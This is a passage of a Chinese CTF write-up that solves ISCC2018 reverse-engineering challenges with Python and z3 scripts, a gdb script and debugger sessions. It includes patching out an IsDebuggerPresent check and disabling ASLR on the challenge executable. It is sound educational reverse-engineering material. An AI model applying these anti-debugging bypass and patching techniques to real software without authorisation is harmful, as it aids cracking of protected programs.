    rsakey = RSA.importKey(prikey)
    cipher = PKCS1_v1_5.new(rsakey)

flag = ""
with open("./encrypted.message1") as f1, open("./encrypted.message2") as f2, open("./encrypted.message3") as f3:
    flag += cipher.decrypt(f1.read(), "ERROR")
    flag += cipher.decrypt(f2.read(), "ERROR")
    flag += cipher.decrypt(f3.read(), "ERROR")

print flag.replace("\n", "")
# flag{3b6d3806-4b2b-11e7-95a0-000c29d7e93d}

leftleftrightright(150)

這個題學到了很多東西,值得認真寫一下

下載好文件後發現是upx的殼,upx -d直接脫掉後運行,發現是經典的check輸入的題目(做爲一個linuxer,首先用wine模擬運行了一下,這也爲我後來的解題減小了很多麻煩,後邊會說到)

ISCC2018_re150 [master●●] file leftleftrightright.exe 
leftleftrightright.exe: PE32 executable (console) Intel 80386, for MS Windows, UPX compressed
ISCC2018_re150 [master●●] upx -d ./leftleftrightright.exe 
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2013
UPX 3.91        Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 30th 2013

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     18432 <-     10752   58.33%    win32/pe     leftleftrightright.exe

Unpacked 1 file.
ISCC2018_re150 [master●●] file leftleftrightright.exe 
leftleftrightright.exe: PE32 executable (console) Intel 80386, for MS Windows
ISCC2018_re150 [master●●] chmod +x leftleftrightright.exe 
ISCC2018_re150 [master●●] ./leftleftrightright.exe 
0009:fixme:msvcp:_Locinfo__Locinfo_ctor_cat_cstr (0x32fcbc 1 C) semi-stub
aaaaaaa
0009:fixme:msvcp:_Locinfo__Locinfo_ctor_cat_cstr (0x32fd1c 1 C) semi-stub
try again!
請按任意鍵繼續...%

拖到IDA裏分析以前,先搜索了一波字符串,發現存在IsDebuggerPresent和疑似加密後的flag:s_imsaplw_e_siishtnt{g_ialt}F,若是須要調試,要先nop掉IsDebuggerPresent,先靜態分析,拖到IDA裏F5大法,main函數的僞代碼和彙編都很亂,但大體能夠看出把咱們的輸入通過一通操做後扔給sub_401090()函數check,經過即爲正確的flag,同時能看出flag的長度爲29(0x1D)

if ( sub_401090(v16) || v15 < 0x1D || (v17 = "flag is right!", v15 > 0x1D) )
    v17 = "try again!";
  v18 = sub_401BF0(std::cout, v17, sub_401E30);
  std::basic_ostream<char,std::char_traits<char>>::operator<<(v18, v19);
  system("pause");

這時首先想的是經過調試快速肯定怎麼對輸入進行變化的,因而到windows下試圖用Ollydbg調試(調試以前要先找到對IsDebuggerPresent的調用並nop掉,能夠在IDA的import頁面經過x交叉引用找到),這時遇到了第一個問題:文件在windows下直接crash

扔進OD單步調試,很快就能定位到crash出現的位置

crash出現的緣由不難分析,此時[ds + 0x40600]是一個不可讀的地址,這時候想起來windows vitia(writeup用的是windows 2008 server)及其以上版本引入了aslr技術,致使程序載入的基址是隨機的,若是取值的地址是寫死的(好比這道題),就極可能跳到不可讀的地址,程序crash,細節能夠看這裏

一些trick:

  • OD把代碼當成數據分析時,能夠選中,點退格讓OD從新分析
  • ctrl + A能夠從新分析當前模塊的代碼,也能把誤識別的數據轉爲代碼

同時找到了一個很方便的工具能夠固定程序的載入地址,固定程序的載入地址隨機化後,打開程序,終於能夠正常工做了,因而上OD調試,跟了幾步指令後突然意識到,check函數沒有進行查表,亦或這些操做,只有很簡單的位移,這說明咱們的輸入並不會發生改變,只會發生移位,若是咱們能獲得一串字符移位後的結果,就能夠找到移位的規律,進而恢復出flag

//check函數不會改變輸入
int __cdecl sub_401090(unsigned int a1)
{
  int v1; // ecx
  const char *v3; // esi
  unsigned int v4; // edx
  bool v5; // cf
  unsigned __int8 v6; // al
  unsigned __int8 v7; // al
  unsigned __int8 v8; // al

  if ( !a1 )
    return 0;
  v3 = "s_imsaplw_e_siishtnt{g_ialt}F";
  v4 = a1 - 4;
  if ( a1 < 4 )
  {
LABEL_6:
    if ( v4 == -4 )
      return 0;
  }
  else
  {
    while ( *(_DWORD *)v1 == *(_DWORD *)v3 )
    {
      v1 += 4;
      v3 += 4;
      v5 = v4 < 4;
      v4 -= 4;
      if ( v5 )
        goto LABEL_6;
    }
  }
  v5 = *(_BYTE *)v1 < (const unsigned __int8)*v3;
  if ( *(_BYTE *)v1 != *v3 )
    return -v5 | 1;
  if ( v4 != -3 )
  {
    v6 = *(_BYTE *)(v1 + 1);
    v5 = v6 < v3[1];
    if ( v6 != v3[1] )
      return -v5 | 1;
    if ( v4 != -2 )
    {
      v7 = *(_BYTE *)(v1 + 2);
      v5 = v7 < v3[2];
      if ( v7 != v3[2] )
        return -v5 | 1;
      if ( v4 != -1 )
      {
        v8 = *(_BYTE *)(v1 + 3);
        v5 = v8 < v3[3];
        if ( v8 != v3[3] )
          return -v5 | 1;
      }
    }
  }
  return 0;
}

因而咱們直接在check函數以後下斷點

運行,輸入29位不一樣的數據後觀察

找到了移位先後的字符串,這樣就能夠恢復flag了,腳本以下:

ISCC2018_re150 [master●●] cat solve.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

encrypt = "s_imsaplw_e_siishtnt{g_ialt}F"

before = "abcdefghijklmnopqrstuvwxyzABC"
after = "onpqmlrskjtuihvwgfxyedzAcbBCa"

flag = [encrypt[after.find(c)] for c in before]
print "".join(flag)
ISCC2018_re150 [master●●] python solve.py 
Flag{this_was_simple_isnt_it}
ISCC2018_re150 [master●●]

以上是寫writeup時偶然發現的新解法,新解法出現的緣由應該是windows 2008 server的load機制與windows 10不一樣,windows 2008 server的更低級,原解法以下:

固定exe的裝載基址後,發現運行到cin時,程序又crash了,這時纔想到windows10下dll的裝載基址也是隨機的,經過比較aslr_disabler.exe處理先後的exe,發現只對pe頭的一個字段改了一位(能夠經過010 editor的compare功能看出),因而想到了兩種思路:

  1. 找到exe調用的dll,經過修改pe頭固定其基址
  2. 在od調試的過程當中手動指定其基址

很明顯第一種方法得不償失,麻煩不說,頗有可能形成系統環境的崩潰。因而嘗試在OD調試的過程當中指定dll的基址,試了一下發現要改的地方太多,放棄了。這個時候想到用wine模擬時程序能夠正常運行,因而搜索了一下調試wine加載的程序的方法,google的全部結果都指向一個工具winedbg,按照man手冊的說明,還能夠以gdb模式啓動,嘗試了一下,發如今本身電腦上各類報錯,把patch後的exe發給一個用arch的大佬學弟試了一下,一次就成了(吐血),比較後發現是wine的版本問題,因而果斷卸載了apt安裝的2.0的wine,手動編譯了一個3.8的wine,而後winedbg --gdb ./leftleftrightright.exe,終於跑起來了,以後的方法就和使用ollydbg時同樣了,直接下斷點查看處理先後的字符串便可

patch後的exe和解題腳本能夠在個人github上找到

一些補充:

  • 這道題目不難,但確實學到了很多東西,美中不足是把加密後的flag硬編碼太弱了,根據題目名稱leftleftrightright很容易猜出正確flag(我在編譯wine時試了幾回已經猜出了flag)
  • winedbg使用gdb模式啓動時,若是使用pwndbg做爲插件,會卡到懷疑人生,使用peda或者gef就會快得多(這也是大佬學弟告訴個人)
  • 剛開始也嘗試過在windows vista如下的版本(如windows xp)上運行exe,但不兼容,搜索字符串能夠看出這個程序是用vs2015編譯的,搜索了一波發現除非從新編譯,不然不能在exe上運行
  • 經過以上分析能夠得出load的隨機化程度 wine ≈ xp < windows 2008 server < win10,這也能看出微軟在安全性上作了很多工做
  • 程序中還有一些0xcc(int 3),但分析過以後發現這些字節全在函數之間,不會被調用,所以對調試不會形成影響
    • 若是非要去除的話,能夠參考以下idapython腳本,patch完記得保存(Edit -> Patch Program -> Apply Patches to Input File)
  • 對於一些細節,我仍是沒想明白,好比如何高效安全的固定dll的裝載基質,IsDebuggerPresent在wine下爲什麼失效(不patch此處的exe也可用winedbg調試),可否不從新編譯使vs2015生成的exe兼容xp,爲什麼從源碼編譯的wine會有下圖中的報錯以及如何解決(apt安裝的2.0版wine沒有以下報錯)
  • 若是有師傅對以上問題以及這篇writeup有任何看法,歡迎指教

My math is bad(150)

題目描述: I think the math problem is too difficult for me.

第一眼看到math problem的時候就已經默默地掏出z3了,事實證實果真如此2333
下載好文件後發現是64位的elf,經典的驗證密碼的題目

Desktop file Reverse 
Reverse: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=20b7dc66633da72204852bf32a4e0c4ea46340b6, stripped
Desktop ./Reverse 
=======================================
= Welcome to the flag access machine! =
=   Input the password to login ...   =
=======================================
aaaaaaaaaaaa
Wrong password!

拖到IDA裏,F5能夠看出 sub_400766() 爲驗證輸入的函數,整理一下其代碼以下:

signed __int64 sub_400766()
{
  signed __int64 result; // rax
  __int64 v1; // ST40_8
  __int64 v2; // ST48_8
  __int64 v16; // [rsp+20h] [rbp-60h]
  __int64 v20; // [rsp+28h] [rbp-58h]
  __int64 v24; // [rsp+30h] [rbp-50h]
  __int64 v28; // [rsp+38h] [rbp-48h]
  __int64 v7; // [rsp+50h] [rbp-30h]
  __int64 v8; // [rsp+58h] [rbp-28h]
  __int64 v9; // [rsp+60h] [rbp-20h]
  __int64 v10; // [rsp+68h] [rbp-18h]
  __int64 v11; // [rsp+70h] [rbp-10h]
  __int64 v12; // [rsp+78h] [rbp-8h]

  if ( strlen(s) != 32 )
    return 0LL;
  v16 = *&s[16];
  v20 = *&s[20];
  v24 = *&s[24];
  v28 = *&s[28];
  if ( *&s[4] * *s - *&s[12] * *&s[8] != 2652042832920173142LL )
    goto LABEL_15;
  if ( 3LL * *&s[8] + 4LL * *&s[12] - *&s[4] - 2LL * *s != 397958918 )
    goto LABEL_15;
  if ( 3 * *s * *&s[12] - *&s[8] * *&s[4] != 3345692380376715070LL )
    goto LABEL_15;
  if ( 27LL * *&s[4] + *s - 11LL * *&s[12] - *&s[8] != 40179413815LL )
    goto LABEL_15;
  srand(*&s[8] ^ *&s[4] ^ *s ^ *&s[12]);
  v1 = rand() % 50;
  v2 = rand() % 50;
  v7 = rand() % 50;
  v8 = rand() % 50;
  v9 = rand() % 50;
  v10 = rand() % 50;
  v11 = rand() % 50;
  v12 = rand() % 50;
  if ( v28 * v2 + v16 * v1 - v20 - v24 != 61799700179LL
    || v28 + v16 + v24 * v8 - v20 * v7 != 48753725643LL
    || v16 * v9 + v20 * v10 - v24 - v28 != 59322698861LL
    || v24 * v12 + v16 - v20 - v28 * v11 != 51664230587LL )
  {
LABEL_15:
    result = 0LL;
  }
  else
  {
    result = 1LL;
  }
  return result;
}

一些tricks:

  • 首先能夠看出s是32位的char類型,在s上y一下,修改其變量類型爲char s[32],從新f5,一些讓人頭大的全局變量就被識別爲s的元素了
  • 右鍵,hide casts,此時的代碼已經和純C差很少了
  • n重命名變量,有助於分析
  • 若是不肯定相似 v16 = *&s[16];等語句的功能,能夠調試一下快速肯定

邏輯很簡單,先判斷輸入是否爲32個字節,而後每四個字節存到一個變量裏,對這些變量進行驗證,若能經過前四個if判斷,那麼srand的種子也就肯定了,後邊隨機數的生成也就隨着肯定了,所以咱們能夠先之前四個if爲約束求解,解出前四個後,再進一步求出全部變量的值,而後拼出flag(須要注意的是z3根據約束求出的解不止一組,能夠經過變量類型爲__int64排除掉不符合的解),最終的代碼以下

Desktop cat iscc_re150.py  
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from z3 import *
from libnum import n2s
import ctypes
from os import system
#  dll = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6")

#  v16 = BitVec('v16', 64)
#  v20 = BitVec('v20', 64)
#  v24 = BitVec('v24', 64)
#  v28 = BitVec('v28', 64)
#  v0 = BitVec('v0', 64)
#  v4 = BitVec('v4', 64)
#  v12 = BitVec('v12', 64)
#  v8 = BitVec('v8', 64)


#  s = Solver()
#  s.add(v4 * v0 - v12 * v8 == 2652042832920173142)
#  s.add(3 * v8 + 4 * v12 - v4 - 2 * v0 == 397958918)
#  s.add(3 * v0 * v12 - v8 * v4 == 3345692380376715070)
#  s.add(27 * v4 + v0 - 11 * v12 - v8 == 40179413815)

#  while s.check() == sat:
    #  print s.model()
    #  s.add(Or(s.model()[v0] != v0, s.model()[v4] != v4, s.model()[v8] != v8, s.model()[v12] != v12))

v4 = 1801073242
v0 = 1869639009
v8 = 829124174
v12 = 862734414
#  v4 = 17606925155252157204
#  v8 = 18136882180941875262
#  v0 = 99182790156815694
#  v12 = 4683719103566694143
#  dll.srand(v8 ^ v4 ^ v0 ^ v12)
#  v1 = dll.rand() % 50;
#  v2 = dll.rand() % 50;
#  v7 = dll.rand() % 50;
#  v8 = dll.rand() % 50;
#  v9 = dll.rand() % 50;
#  v10 = dll.rand() % 50;
#  v11 = dll.rand() % 50;
#  v12 = dll.rand() % 50;

#  s.add(v28 * v2 + v16 * v1 - v20 - v24 == 61799700179)
#  s.add(v28 + v16 + v24 * v8 - v20 * v7 == 48753725643)
#  s.add(v16 * v9 + v20 * v10 - v24 - v28 == 59322698861)
#  s.add(v24 * v12 + v16 - v20 - v28 * v11 == 51664230587 )

#  while s.check() == sat:
    #  print s.model()
    #  s.add(Or(s.model()[v16] != v16, s.model()[v20] != v20, s.model()[v24] != v24, s.model()[v28] != v28))


#  [v16 = 811816014,
 #  v20 = 9223372037683369038,
 #  v24 = 1867395930,
 #  v28 = 9223372038050563937]
v16 = 811816014
v20 = 828593230
v24 = 1867395930
v28 = 1195788129
#  [v16 = 9223372037666591822,
 #  v20 = 4611686019255981134,
 #  v24 = 9223372038722171738,
 #  v28 = 4611686019623176033]
#  [v16 = 9223372037666591822,
 #  v20 = 13835058056110756942,
 #  v24 = 9223372038722171738,
 #  v28 = 13835058056477951841]




l = [v0, v4, v8, v12, v16, v20, v24, v28]
flag = ""
for i in l:
    flag += n2s(i)[::-1]

print flag
system("echo {}| ./Reverse".format(flag))
# flag{th3_Line@r_4lgebra_1s_d1fficult!}

這一題我拿了一血ヾ(o◕∀◕)ノヾ

obfuscation and encode(250)

解一:

IDA打開後發現輸入通過fencodeencode兩個函數處理後與lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq比較,相等便可,重點分析fencodeencode兩個函數,IDA打開fencode函數,查看流程圖發現極其混亂,此時已經嗅到了一絲ollvm的味道,但不肯定,仔細觀察fencode函數,發現有兩處須要注意:

一些tricks:

  • y指定fencode函數類型爲void __fastcall fencode(const char *input, char *output)可使input與output均已字符串的形式出如今僞代碼中
  • 對於做用相同的局部變量,能夠在變量的定義處點=,讓變量map到其餘變量上,這樣代碼就不會太亂(但也要注意不是全部的變量都能map)

只有這兩處能對output產生影響,IDA中右鍵,Copy to assembly,查看彙編:


能夠看出,只需idiv時查看eax,ecx寄存器的值,imul一句時查看edx,esi寄存器的值便可,通過初步調試後寫了一個gdb腳本方便分析:

ISCC2018_re250 [master●●] cat payload 
0123456789abcdefghijklmn

ISCC2018_re250 [master●●] cat gdbscript 
b *0x4008c6
b *0x400906
r < ./payload

i r edx esi eax ecx
c
i r edx esi eax ecx
c
i r edx esi eax ecx
c
i r edx esi eax ecx
c
i r edx esi eax ecx
c
i r edx esi eax ecx
c
i r edx esi eax ecx
c
i r edx esi eax ecx
c
i r edx esi eax ecx
c
i r edx esi eax ecx
c
i r edx esi eax ecx
c
i r edx esi eax ecx
c
i r edx esi eax ecx
c
i r edx esi eax ecx
c
i r edx esi eax ecx
c
i r edx esi eax ecx
c
i r edx esi eax ecx
c
i r edx esi eax ecx
c
i r edx esi eax ecx
c
i r edx esi eax ecx
c
i r edx esi eax ecx
c
i r edx esi eax ecx
c
i r edx esi eax ecx
c
i r edx esi eax ecx

ISCC2018_re250 [master●●] gdb ./re -q
pwndbg: loaded 165 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./re...BFD: /home/m4x/reverse_repo/ISCC2018_re250/re: invalid string offset 2425393296 >= 564 for section `.strtab'
(no debugging symbols found)...done.
pwndbg> source gdbscript 
Breakpoint 1 at 0x4008c6
Breakpoint 2 at 0x400906

Breakpoint 1, 0x00000000004008c6 in fencode ()
edx            0x2  2
esi            0x30 48
eax            0xffffdfe0   -8224
ecx            0x0  0

Breakpoint 1, 0x00000000004008c6 in fencode ()
edx            0x2  2
esi            0x31 49
eax            0xffffdfe0   -8224
ecx            0x1  1

Breakpoint 1, 0x00000000004008c6 in fencode ()
edx            0x4  4
esi            0x32 50
eax            0xffffdfe0   -8224
ecx            0x2  2

Breakpoint 1, 0x00000000004008c6 in fencode ()
edx            0xfffffffb   -5
esi            0x33 51
eax            0xffffdfe0   -8224
ecx            0x3  3

Breakpoint 2, 0x0000000000400906 in fencode ()
edx            0xffffffff   -1
esi            0x33 51
eax            0xffffff8b   -117
ecx            0x7f 127

Breakpoint 1, 0x00000000004008c6 in fencode ()
edx            0x1  1
esi            0x30 48
eax            0xffffdfe0   -8224
ecx            0x0  0

Breakpoint 1, 0x00000000004008c6 in fencode ()
edx            0x1  1
esi            0x31 49
eax            0xffffdfe0   -8224
ecx            0x1  1

Breakpoint 1, 0x00000000004008c6 in fencode ()
edx            0x3  3
esi            0x32 50
eax            0xffffdfe0   -8224
ecx            0x2  2

Breakpoint 1, 0x00000000004008c6 in fencode ()
edx            0xfffffffd   -3
esi            0x33 51
eax            0xffffdfe0   -8224
ecx            0x3  3

Breakpoint 2, 0x0000000000400906 in fencode ()
edx            0x0  0
esi            0x33 51
eax            0x5e 94
ecx            0x7f 127

Breakpoint 1, 0x00000000004008c6 in fencode ()
edx            0xffffffff   -1
esi            0x30 48
eax            0xffffdfe0   -8224
ecx            0x0  0

Breakpoint 1, 0x00000000004008c6 in fencode ()
edx            0xfffffffe   -2
esi            0x31 49
eax            0xffffdfe0   -8224
ecx            0x1  1

Breakpoint 1, 0x00000000004008c6 in fencode ()
edx            0xfffffffd   -3
esi            0x32 50
eax            0xffffdfe0   -8224
ecx            0x2  2

Breakpoint 1, 0x00000000004008c6 in fencode ()
edx            0x4  4
esi            0x33 51
eax            0xffffdfe0   -8224
ecx            0x3  3

Breakpoint 2, 0x0000000000400906 in fencode ()
edx            0xffffffff   -1
esi            0x33 51
eax            0xffffffa4   -92
ecx            0x7f 127

Breakpoint 1, 0x00000000004008c6 in fencode ()
edx            0xffffffff   -1
esi            0x30 48
eax            0xffffdfe0   -8224
ecx            0x0  0

Breakpoint 1, 0x00000000004008c6 in fencode ()
edx            0x0  0
esi            0x31 49
eax            0xffffdfe0   -8224
ecx            0x1  1

Breakpoint 1, 0x00000000004008c6 in fencode ()
edx            0xfffffffe   -2
esi            0x32 50
eax            0xffffdfe0   -8224
ecx            0x2  2

Breakpoint 1, 0x00000000004008c6 in fencode ()
edx            0x2  2
esi            0x33 51
eax            0xffffdfe0   -8224
ecx            0x3  3

Breakpoint 2, 0x0000000000400906 in fencode ()
edx            0xffffffff   -1
esi            0x33 51
eax            0xffffffd2   -46
ecx            0x7f 127

Breakpoint 1, 0x00000000004008c6 in fencode ()
edx            0x2  2
esi            0x34 52
eax            0xffffdfe0   -8224
ecx            0x4  4

Breakpoint 1, 0x00000000004008c6 in fencode ()
edx            0x2  2
esi            0x35 53
eax            0xffffdfe0   -8224
ecx            0x5  5

Breakpoint 1, 0x00000000004008c6 in fencode ()
edx            0x4  4
esi            0x36 54
eax            0xffffdfe0   -8224
ecx            0x6  6

Breakpoint 1, 0x00000000004008c6 in fencode ()
edx            0xfffffffb   -5
esi            0x37 55
eax            0xffffdfe0   -8224
ecx            0x7  7
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────
 RAX  0x7fffffffdfe0 ◂— 0x3736353433323130 ('01234567')
 RBX  0x0
*RCX  0x7
*RDX  0xfffffffb
 RDI  0x4
*RSI  0x37
 R8   0x4
 R9   0x3
 R10  0x309
 R11  0x7ffff7aba620 (strlen) ◂— pxor   xmm0, xmm0
 R12  0x400540 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe130 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdd70 —▸ 0x7fffffffe050 —▸ 0x400f80 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffdcf0 ◂— 0x7f
 RIP  0x4008c6 (fencode+646) ◂— imul   edx, esi
────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────
 ► 0x4008c6 <fencode+646>    imul   edx, esi
   0x4008c9 <fencode+649>    add    edx, dword ptr [rbp - 0x30]
   0x4008cc <fencode+652>    mov    dword ptr [rbp - 0x30], edx
   0x4008cf <fencode+655>    mov    dword ptr [rbp - 0x38], 0x9dd488f1
   0x4008d6 <fencode+662>    jmp    fencode+837 <0x400985>
    ↓
   0x400985 <fencode+837>    jmp    fencode+46 <0x40066e>
    ↓
   0x40066e <fencode+46>     mov    eax, dword ptr [rbp - 0x38]
   0x400671 <fencode+49>     mov    ecx, eax
   0x400673 <fencode+51>     sub    ecx, 0x8062cb11
   0x400679 <fencode+57>     mov    dword ptr [rbp - 0x3c], eax
   0x40067c <fencode+60>     mov    dword ptr [rbp - 0x40], ecx
─────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffdcf0 ◂— 0x7f
01:0008│      0x7fffffffdcf8 ◂— 0x17d7ac49
02:0010│      0x7fffffffdd00 ◂— 0x11a641770d02b5ce
03:0018│      0x7fffffffdd08 ◂— 0x2f898fb01bb32d79
04:0020│      0x7fffffffdd10 ◂— 0x32c3f3ba
05:0028│      0x7fffffffdd18 ◂— 0x4870988c47f6f166
06:0030│      0x7fffffffdd20 ◂— 0x70828a986929cc5d
07:0038│      0x7fffffffdd28 ◂— 0x82e883408157c147
───────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────
 ► f 0           4008c6 fencode+646
   f 1           400eb5 main+229
   f 2     7ffff7a5a2b1 __libc_start_main+241
Breakpoint *0x4008c6
pwndbg>

這樣咱們就獲得了輸入爲0123456789abcdefghijklmn時的處理過程,能夠看出,對於咱們的輸入,每四位一組與m進行了乘積求和的操做(具體是怎麼計算的能夠看後邊的腳本),而後%127即爲output的結果

再對encode函數進行分析,由如下代碼已經能夠分析出encode函數的做用相似於base64,table即爲程序中的ALPHA_BASE(能夠經過調試驗證一下)

v9 = v22;
                          v10 = v22 + 1;
                          output[v9] = ALPHA_BASE[(v20 >> 2) & 0x3F];
                          v11 = v10++;
                          output[v11] = ALPHA_BASE[(((v20 & 0xFF) >> 4) | 16 * v20) & 0x3F];
                          output[v10] = ALPHA_BASE[(((v20 & 0xFF) >> 6) | 4 * v20) & 0x3F];
                          v12 = v10 + 1;
                          v22 = v10 + 2;
                          output[v12] = ALPHA_BASE[v20 & 0x3F];

這樣,整個程序的流程就清楚了:

  1. 輸入一串長度爲24的字符串(長度限制也可經過調試快速肯定)
  2. 輸入的字符串通過與m乘積求和的操做後,再給類base64函數處理
  3. 處理的結果與給定的字符串相同便可

類base64是可解的,所以能夠先對給定的字符串解類base64,而後對解類base64的結果再解一個四元的方程組便可,不學線代多年,第一反應就是爆破= =,(127 - 32) ^ 4數據量也不大,爆破的話,大概100s左右就能出結果,後來發現用z3更快,z3的話只需0.5s就能夠出結果,爆破和z3求解的腳本都放在下邊了

ISCC2018_re250 [master●●] cat solve.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x' 

from z3 import *
from libnum import s2n
from itertools import permutations 
from ctypes import c_int32

table = '''FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+\x00'''

def decodeBase64(src):
    delPaddingTail = {0: 0, 2: 4, 1: 2}
    value = ''
    n = src.count('=')
    sin = src[:len(src) - n]
    for c in sin:
        value += bin(table.find(c))[2:].zfill(6)
    value = value[:len(value) - delPaddingTail[n]]
    #  print value
    middle = []
    for i in range(8, len(value) + 1, 8):
        middle.append(int(value[i-8:i], 2))
    output = middle
    out =  hex(s2n(''.join(map(chr, output))))[2: -1]
    #  print out
    return out

m =[ 2, 2, 4, 4294967291, 1, 1, 3, 4294967293, 4294967295, 4294967294, 4294967293, 4, 4294967295, 0, 4294967294, 2 ]

#  m = [c_int32(i).value for i in m]
#  print m

f0 = lambda x: int(x, 16)
f1 = lambda x1, x2, x3, x4: (x1 * m[0] + x2 * m[1] + x3 * m[2] + x4 * m[3]) & 0xff
f2 = lambda x1, x2, x3, x4: (x1 * m[4] + x2 * m[5] + x3 * m[6] + x4 * m[7]) & 0xff
f3 = lambda x1, x2, x3, x4: (x1 * m[8] + x2 * m[9] + x3 * m[10] + x4 * m[11]) & 0xff
f4 = lambda x1, x2, x3, x4: (x1 * m[12] + x2 * m[13] + x3 * m[14] + x4 * m[15]) & 0xff

crypto = '''lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq'''
key = decodeBase64(crypto)
key = [f0(key[i: i + 2]) for i in range(0, len(key), 2)]
#  key = [key[i: i + 4] for i in range(0, len(key), 4)]
#  print key

s = Solver()
res = [BitVec(str(i), 16) for i in xrange(24)]
for i in res:
    s.add(And(i > 0, i < 256))
    
for i in xrange(6):
    s.add(f1(res[4 * i + 0], res[4 * i + 1], res[4 * i + 2], res[4 * i + 3]) == key[i * 4 + 0])
    s.add(f2(res[4 * i + 0], res[4 * i + 1], res[4 * i + 2], res[4 * i + 3]) == key[i * 4 + 1])
    s.add(f3(res[4 * i + 0], res[4 * i + 1], res[4 * i + 2], res[4 * i + 3]) == key[i * 4 + 2])
    s.add(f4(res[4 * i + 0], res[4 * i + 1], res[4 * i + 2], res[4 * i + 3]) == key[i * 4 + 3])


while s.check() == sat:
    print s.model()

    flag = ""
    for i in xrange(24):
        flag += chr(s.model()[res[i]].as_long() & 0xff)

    print flag
    s.add(res[0] != s.model()[res[0]])

else:
    print "Finish"

#  print flag
#  flag = []

#  dic = range(32, 127)[::-1]
#  for a in dic:
    #  for b in dic:
        #  for c in dic:
            #  for d in dic:
                #  if [f1(a, b, c, d), f2(a, b, c, d), f3(a, b, c, d), f4(a, b, c, d)] in key:
                    #  flag.append("".join(map(chr, (a, b, c, d))))

                #  if len(flag) == 6:
                    #  All = permutations(flag)
                    #  #  print All
                    #  for x, y, z, r, s, t in All:
                        #  t = x + y + z + r + s + t
                        #  if t.startswith("flag{") and t.endswith("}"):
                            #  print t
                    #  exit()
                    #  flag{dO_y0U_KNoW_0IlVm?}

最後從flag看出果真是ollvm混淆

靜態分析與動態調試結合,效率倍增

解二( Author: L1B0 ):

這題的流程經過main函數能夠看出,輸入的字符串通過fencode和encode兩次加密後與字符串lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq 比較,相等即正確。

既然是逆向咱們從encode函數看起。

encode函數

關鍵代碼如上圖,咱們需肯定的是程序運行時v9,v10,v11,v12和v17,v20,v21的值,我採用的是把encode函數的代碼摳出來本身運行一遍,將上述須要肯定的值用printf輸出,那麼邏輯就很快能夠看出。

這個函數的各個變量的值以下

//v17 = a1[v8] v20 = a1[v6] v21 = a1[v5]
//v23即a3起始的下標
v5 = 0
v6 = 1
v8 = 2
v23 = 0
v9 = 0 v11 = 1 v10 = 2 v12 = 3
v5 = 3
v6 = 4
v8 = 5
v23 = 4
v9 = 4 v11 = 5 v10 = 6 v12 = 7
v5 = 6
v6 = 7
v8 = 8
v23 = 8
v9 = 8 v11 = 9 v10 = 10 v12 = 11
v5 = 9
v6 = 10
v8 = 11
v23 = 12
v9 = 12 v11 = 13 v10 = 14 v12 = 15
v5 = 12
v6 = 13
v8 = 14
v23 = 16
v9 = 16 v11 = 17 v10 = 18 v12 = 19
v5 = 15
v6 = 16
v8 = 17
v23 = 20
v9 = 20 v11 = 21 v10 = 22 v12 = 23
v5 = 18
v6 = 19
v8 = 20
v23 = 24
v9 = 24 v11 = 25 v10 = 26 v12 = 27
v5 = 21
v6 = 22
v8 = 23
v23 = 28
v9 = 28 v11 = 29 v10 = 30 v12 = 31

經過上面的變量值能夠看出,每次取a1的三個值通過一些變化做爲ALPHA_BASE的下標,獲得四個值賦給a3,最後a3和lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq比較,那麼能夠每三個一組爆破出a1的值。

decode腳本以下

from z3 import *

ALPHA_BASE = 'FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+'
s1 = 'lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq'
#print len(s1)
xiabiao = []
for i in s1:
    for j in range(len(ALPHA_BASE)):
        if i == ALPHA_BASE[j]:
            xiabiao.append(j)
print xiabiao

#v21 = v6[0] v20 = v6[1] v17 = v6[2]
#v6 = [37, 192, 59, 166, 31, 175, 76, 165, 203, 139, 164, 155, 59, 225, 40, 133, 38, 38, 22, 231, 17, 9, 7, 38]

def decode():

    v6 = []
    x = BitVec('x',16)
    y = BitVec('y',16)
    z = BitVec('z',16)
    
    for i in range(8):
    
        s = Solver()
        
        s.add( And( x > 0, x < 256, y > 0, y < 256, z > 0,  z < 256 ) )
        
        s.add( And( ((x>> 2) & 0x3F) == xiabiao[i*4] , ((((y & 0xFF) >> 4) | 16 * x) & 0x3F) == xiabiao[i*4+1] , ((((z & 0xFF) >> 6) | 4 * y) & 0x3F) == xiabiao[i*4+2] , (z & 0x3F) == xiabiao[i*4+3] ) )
        
        if s.check() == sat:
            print s.model()
            v6.append(s.model()[x].as_long())
            v6.append(s.model()[y].as_long())
            v6.append(s.model()[z].as_long())
            
        else:
            print 'fail'
            
    print(len(v6),v6)
    return v6

v6 = decode()
print v6

獲得的v6是否正確咱們能夠經過encode函數驗證一發,獲得的v6加密結果以下

那麼encode函數已經逆向完成。

fencode函數

和encode函數的處理方法同樣,將F5獲得的代碼本身跑一遍,獲得關鍵變量的值,從而理解函數的邏輯,我分析獲得的邏輯大體以下。

